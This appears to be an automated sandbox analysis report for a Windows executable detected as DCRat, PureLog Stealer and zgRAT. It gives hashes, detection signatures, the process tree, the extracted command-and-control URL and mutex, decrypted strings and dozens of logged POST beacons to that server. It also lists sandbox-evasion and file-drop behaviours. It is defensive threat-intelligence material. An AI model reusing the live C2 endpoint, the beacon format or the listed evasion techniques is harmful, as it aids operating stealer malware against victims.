Edit tour

Windows Analysis Report
GqjiKlwarV.exe

Overview

General Information

Sample name:	GqjiKlwarV.exe renamed because original name is a hash value
Original sample name:	e89c7ecf60bbe2efc1810303234a09b8.exe
Analysis ID:	1583026
MD5:	e89c7ecf60bbe2efc1810303234a09b8
SHA1:	006b2456b3a17d04af3fb580bc1bc788d5f0226b
SHA256:	b80802d899f1ed795a429f20c3ed6c7ce7ead5eeb5b62663edb2663a5de4a86c
Tags:	DCRatexeuser-abuse_ch
Infos:

Detection

DCRat, PureLog Stealer, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected DCRat

Yara detected PureLog Stealer

Yara detected zgRAT

.NET source code contains method to dynamically call methods (often used by packers)

AI detected suspicious sample

Drops PE files to the user root directory

Drops executables to the windows directory (C:\Windows) and starts them

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Files With System Process Name In Unsuspected Locations

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the user directory

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

GqjiKlwarV.exe (PID: 6756 cmdline: "C:\Users\user\Desktop\GqjiKlwarV.exe" MD5: E89C7ECF60BBE2EFC1810303234A09B8)

cmd.exe (PID: 7092 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\Oo9wa5O04T.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 6200 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

w32tm.exe (PID: 3384 cmdline: w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 MD5: 81A82132737224D324A3E8DA993E2FB5)

GqjiKlwarV.exe (PID: 5740 cmdline: "C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe" MD5: E89C7ECF60BBE2EFC1810303234A09B8)

conhost.exe (PID: 4544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

Threatname: DCRat

{"C2 url": "http://101349cm.renyash.ru/VideovmGamedefaultTestuniversalwp", "MUTEX": "DCR_MUTEX-6RPH5VjCZpOz8hstJkJx"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
GqjiKlwarV.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
GqjiKlwarV.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Recovery\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Recovery\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\RuntimeBroker.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\RuntimeBroker.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 5 entries

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.1668508919.00000000003B2000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000005.00000002.4125015887.0000000002D9B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000005.00000002.4125015887.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000005.00000002.4125015887.0000000002C20000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000005.00000002.4125015887.0000000002717000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000000.00000002.1695511710.000000000280B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: GqjiKlwarV.exe PID: 6756	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: GqjiKlwarV.exe PID: 5740	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.GqjiKlwarV.exe.3b0000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.0.GqjiKlwarV.exe.3b0000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\GqjiKlwarV.exe, ProcessId: 6756, TargetFilename: C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\RuntimeBroker.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: GqjiKlwarV.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://101349cm.renyash.ru/	Avira URL Cloud: Label: malware
Source: http://101349cm.renyash.ru/VideovmGamedefaultTestuniversalwp.php	Avira URL Cloud: Label: malware
Source: http://101349cm.renyash.ru	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Recovery\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\RuntimeBroker.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Recovery\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\AppData\Local\Temp\Oo9wa5O04T.bat	Avira: detection malicious, Label: BAT/Delbat.C
Source: C:\Recovery\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342

Found malware configuration

Source: 00000005.00000002.4125015887.0000000002717000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: DCRat {"C2 url": "http://101349cm.renyash.ru/VideovmGamedefaultTestuniversalwp", "MUTEX": "DCR_MUTEX-6RPH5VjCZpOz8hstJkJx"}

Multi AV Scanner detection for dropped file

Source: C:\Recovery\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe	ReversingLabs: Detection: 73%
Source: C:\Users\user\Music\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe	ReversingLabs: Detection: 73%
Source: C:\Users\user\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe	ReversingLabs: Detection: 73%
Source: C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\RuntimeBroker.exe	ReversingLabs: Detection: 73%
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	ReversingLabs: Detection: 73%

Multi AV Scanner detection for submitted file

Source: GqjiKlwarV.exe	ReversingLabs: Detection: 73%
Source: GqjiKlwarV.exe	Virustotal: Detection: 57%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Recovery\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe	Joe Sandbox ML: detected
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Joe Sandbox ML: detected
Source: C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\RuntimeBroker.exe	Joe Sandbox ML: detected
Source: C:\Recovery\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe	Joe Sandbox ML: detected
Source: C:\Recovery\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: GqjiKlwarV.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000005.00000002.4125015887.0000000002717000.00000004.00000800.00020000.00000000.sdmp	String decryptor: ["bj0UKX3O1fsx9BYPGXoKHqjvLayVva1jN63FIaBpzhY4ZE1D43om8NOuAFJtihcbnIkDHSHpW8UjRpWHjvb2vPk9sIFCRRHSF7QQdy5lw8PA2odUtBKwGkpYhlU9MEYF","DCR_MUTEX-6RPH5VjCZpOz8hstJkJx","0","","","5","2","WyIxIiwiIiwiNSJd","WyIiLCJXeUlpTENJaUxDSmlibFp6WWtFOVBTSmQiXQ=="]
Source: 00000005.00000002.4125015887.0000000002717000.00000004.00000800.00020000.00000000.sdmp	String decryptor: ["bj0UKX3O1fsx9BYPGXoKHqjvLayVva1jN63FIaBpzhY4ZE1D43om8NOuAFJtihcbnIkDHSHpW8UjRpWHjvb2vPk9sIFCRRHSF7QQdy5lw8PA2odUtBKwGkpYhlU9MEYF","DCR_MUTEX-6RPH5VjCZpOz8hstJkJx","0","","","5","2","WyIxIiwiIiwiNSJd","WyIiLCJXeUlpTENJaUxDSmlibFp6WWtFOVBTSmQiXQ=="]
Source: 00000005.00000002.4125015887.0000000002717000.00000004.00000800.00020000.00000000.sdmp	String decryptor: ["bj0UKX3O1fsx9BYPGXoKHqjvLayVva1jN63FIaBpzhY4ZE1D43om8NOuAFJtihcbnIkDHSHpW8UjRpWHjvb2vPk9sIFCRRHSF7QQdy5lw8PA2odUtBKwGkpYhlU9MEYF","DCR_MUTEX-6RPH5VjCZpOz8hstJkJx","0","","","5","2","WyIxIiwiIiwiNSJd","WyIiLCJXeUlpTENJaUxDSmlibFp6WWtFOVBTSmQiXQ=="]
Source: 00000005.00000002.4125015887.0000000002717000.00000004.00000800.00020000.00000000.sdmp	String decryptor: ["bj0UKX3O1fsx9BYPGXoKHqjvLayVva1jN63FIaBpzhY4ZE1D43om8NOuAFJtihcbnIkDHSHpW8UjRpWHjvb2vPk9sIFCRRHSF7QQdy5lw8PA2odUtBKwGkpYhlU9MEYF","DCR_MUTEX-6RPH5VjCZpOz8hstJkJx","0","","","5","2","WyIxIiwiIiwiNSJd","WyIiLCJXeUlpTENJaUxDSmlibFp6WWtFOVBTSmQiXQ=="]
Source: 00000005.00000002.4125015887.0000000002717000.00000004.00000800.00020000.00000000.sdmp	String decryptor: [["http://101349cm.renyash.ru/","VideovmGamedefaultTestuniversalwp"]]
Source: 00000005.00000002.4125015887.0000000002717000.00000004.00000800.00020000.00000000.sdmp	String decryptor: [["http://101349cm.renyash.ru/","VideovmGamedefaultTestuniversalwp"]]

Source: GqjiKlwarV.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: GqjiKlwarV.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: Joe Sandbox View

IP Address: 104.21.38.84 104.21.38.84

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 384Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1328Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 101349cm.renyash.ruContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
